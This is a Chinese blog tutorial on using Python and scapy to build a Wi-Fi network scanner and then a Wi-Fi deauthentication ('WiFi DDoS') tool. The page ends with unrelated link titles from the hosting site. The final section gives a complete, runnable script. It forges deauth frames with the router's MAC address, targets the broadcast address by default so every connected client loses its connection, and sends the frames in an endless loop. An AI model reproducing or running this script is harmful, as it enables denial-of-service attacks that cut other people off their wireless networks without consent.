0x00 前言
因为在百度上很难找到有关于用打造的工具的 , 而且不希望大家成为一名脚本小子,所以我打算写一篇 , 需要的工具有scapy,(能开启你网卡监听功能的工具),当然少不了
,我这里是kali2.0的环境,所以可能跟你们的有所不同
0x01配置scapy
先打开.7解释器,scapy是只支持2.x的,不支持3,先输入下列命令,在解释器里面
from scapy.all import *
会出现如下图的显示
这种情况是因为他有IPV6的东西包含了进去 , 这些东西不必要而且还影响整个程序的美观,所以要把这东西去掉 。
在kali里面scapy有好几个,但是真正是给用的就是这个路径:usr/share//scapy
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113503032-0.jpg)
文章插图
打开all.py把里面导入ipv6的东西注释掉
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113504S3-1.jpg)
文章插图
把这3行注释了在用一下
from scapy.all import *
这次就不会有那个东西了
但是我们还没有配置完
,还有一个地方要配置,因为scapy的send函数,只要发送一个数据包就会执行
print "send %s packets"
还有
os.write(1,'.')
但是我们如果要发送多个数据包的时候,那这种功能就变成刷屏了,
这些功能是在:usr/share//scapy下一个叫,我这里直接搜索了
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113502037-2.jpg)
文章插图
打开这个文件,找到这个函数,然后把他的输出的地方注释了 , 然后在底下输入pass , 不然会报错,如下图所示
![教你用python打造WiFiddos](http://img.gansulong.com/231226/111350H44-3.png)
文章插图
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113501H2-4.jpg)
文章插图
好了我们现在就算配置完毕了 。
0x02 802.11数据包结构简单分析 (不会对原理过多讲解)
要用捕获802.11数据包首先要让网卡变成监听模式
下面是方法开启
ifconfig iface downiwconfig iface mode monitorifconfig iface up
下面是-ng开启
airmon-ng start iface
2种方法都行,现在开始分析
首先802.11数据包有一个头
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113503556-5.jpg)
文章插图
注意我箭头指着的地方,那里就是头 , 包含一些关于数据帧的额外信息,想了解更多可以参考
之后就是IEEE 802.11数据
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113506133-6.jpg)
文章插图
这里只提几个地方
第一个Type/ , 简单来说,就是来声明这个数据包是什么拿来干什么的 。
第二个就是 (RA)和 (DA),为什么要把这2个放在一起讲呢,就是因为这2个其实是完全一样的,如下图
![教你用python打造WiFiddos](http://img.gansulong.com/231226/111350B61-7.jpg)
文章插图
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113505617-8.jpg)
文章插图
2个的数据包真实的地方是完全一样的,这个地址代表最终要到达的地方
第三个就是 (TA)和 (SA) , 他们跟第二个也是相同,都是一样的,所以一起讲,TA就是当前发送数据包的地址,SA代表源发送地址,所以都是自己
第四个就是bssid,bssid就是路由器的地址
第五个就是ESSID(ESSID就是WiFi的名字) , 只会出现在type/是0/8 , 也就是 frame的时候,frame就是用来通知别人他的存在,里面会包含一些其他数据,其中就有ESSID , 这个数据包不是上面4个那样 , 他是跟在他们屁股后面的,如图
![教你用python打造WiFiddos](http://img.gansulong.com/231226/111350B54-9.jpg)
文章插图
essid就在如下图的地方
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113501411-10.jpg)
文章插图
0x03 打造一款简易WiFi探测器
现在基础的部分讲完,开始真正实战了 。
首先看看我们需要的数据包,scapy是一款很强大的工具,提供各种数据包类型,可以用ls()查看
这里我们只需要和802.11相关的,也就是如下图所示
![教你用python打造WiFiddos](http://img.gansulong.com/231226/111350J38-11.png)
文章插图
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113504011-12.jpg)
文章插图
也就是() Dot11() , 当然,还有一个,但是不是这个小节要讲的,所以先不说()也不用怎么讲,知道他是第一个就好了 , 这些都是用来构造数据包的方法
先来看看Dot11这个数据包
![教你用python打造WiFiddos](http://img.gansulong.com/231226/111350B36-13.jpg)
文章插图
这里addr1就是刚刚的RA DA,addr2就是TA SA,addr3就是BSSID , (应该是这样,我也不能肯定,如果有错尽管指出
)
在来看看
这里info就是ESSID了,
还有一个函数需要了解一下,就是sniff(),他的功能就跟他的名字一样,用来嗅探的 , 他有1个参数需要提一下,prn=func,当嗅探到一个数据包的时候就会调用func,并且把数据包传给func
现在该说的都说了 , 我就把代码全部拿出来吧
#coding:utf-8from scapy.all import *wifi = {}def scan(packet):dot = packet.getlayer(Dot11)#从数据包里面提取Dot11这一层的数据,如果没有这一层,返回Noneif dot != None:elt = dot.getlayer(Dot11Elt)#从数据包提取Dot11Elt这一层的数据if elt != None:if dot.type == 0 and dot.subtype == 8:#检查是否为beacon frame数据包,因为beacon frame是用来通知用户自己的存在的bssid = dot.addr3.upper()#提取BSSIDessid = elt.info#提取ESSIDif not wifi.has_key(bssid):#检查是否已经存在字典中,以免打印重复wifi[bssid]=essidif essid == "":#有些路由器会隐藏自己的ESSID所以这里为空essid = ""print essid+": "+bssidsniff(prn=scan)#绑定scan函数
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113503S5-14.jpg)
文章插图
这就是运行效果 , 第一行我之前没有去掉,所以有第一行
0x04 打造器
【教你用python打造WiFiddos】如何呢,其实很简单,因为802.11的设计导致的,这里有一个数据,当路由器或者用户发生一些问题的时候,路由器就会发送数据包来告诉用户不能连接了,然后用户就会与路由器断开连接,所以我们就模拟这种数据包,发送数据包,来达到断网
当要发送数据包的时候,Dot11的type/是0/12的时候,因为type默认为0,所以待会构造数据包的时候只用让等于0xC就好 , 然后一个会跟在Dot11后面,就像如图的那种关系
![教你用python打造WiFiddos](http://img.gansulong.com/231226/1113505639-15.jpg)
文章插图
就类似与这样的关系,代码就是这样构造的
RadioTap()\Dot11()\Dot11Deauth()
有1个函数要介绍一下sendp,工作在第二层用来发送数据包的,有一个参数要说一下,就是iface=网卡,用来设置什么网卡来发送数据包的,要发送的数据包直接放在参数第一个,比如数据包的名字叫pkt,网卡为wlan0,那就是sendp(pkt,iface='wlan0')
#coding:utf-8import sysfrom scapy.all import *from optparse import OptionParser#这个我不讲,因为不是本章重点,请自行百度usage="Usage:%prog -i interface -t packet-type -a bssid -c client-MAC(optional)"parser=OptionParser(usage)parser.add_option('-i',dest="interface",help="network card")parser.add_option('-t',dest="type",help="the reason for the termination code,0-9(optional)")parser.add_option('-a',dest="bssid",help="the Access Point you want to attack")parser.add_option('-c',dest="c_mac",help="the client's MAC address(optional)")(options,args) = parser.parse_args()if len(sys.argv) < 2:parser.print_help()sys.exit(0)elif options.interface is None or \options.bssid is None:parser.print_help()sys.exit()c_mac = options.c_mact_type = options.typeiface = options.interfacebssid = options.bssidif t_type == None:t_type = 0if c_mac == None:c_mac = "ff:ff:ff:ff:ff:ff".upper()#如果用户没有输入地址,就赋值为广播地址(让连接WiFi的全部断网)pkt = RadioTap()/\Dot11(subtype=0x00c,addr1=c_mac,addr2=bssid,addr3=bssid)/\#addr1为最终要到达的地址 , addr2为来源地址这伪造成路由器MAC,addr3就不说了,subtype为0x00c代表为Deauth数据包Dot11Deauth(reason=int(t_type))#定义为什么会断线while True:sendp(pkt,iface=iface)#无限发送数据包
0x05 结束语
我写这篇文章,主要的目的就是不希望大家成为一名脚本小子 , 只会用别人的工具,而不能自己开发工具,我感觉这样是很窝囊的,一辈子只能活在别人的脚下 。
- 2023春季浏阳市教资认定网络办理提交资料入口在哪
- 大连市民办义务教育学校招生通知2023 大连民办小学招生
- 2023天津河北区公办幼儿园保教费 天津市河北区幼儿园收费标准
- 小学+初中 2023金堂县义务教育阶段学校入学划片范围
- PS教程:如何给物体添加投影 ps怎么给物体添加投影
- 煎藕饼的做法教程 煎藕饼的做法教程窍门
- 捞汁花甲怎么做好吃 捞汁花甲做法教程
- 费县城乡低保家庭高度教育入学救助标准和申报材料
- 2023苏州工业园区朝前路实验学校小学施教区
- 反邪教手抄报内容 反邪教手抄报内容文字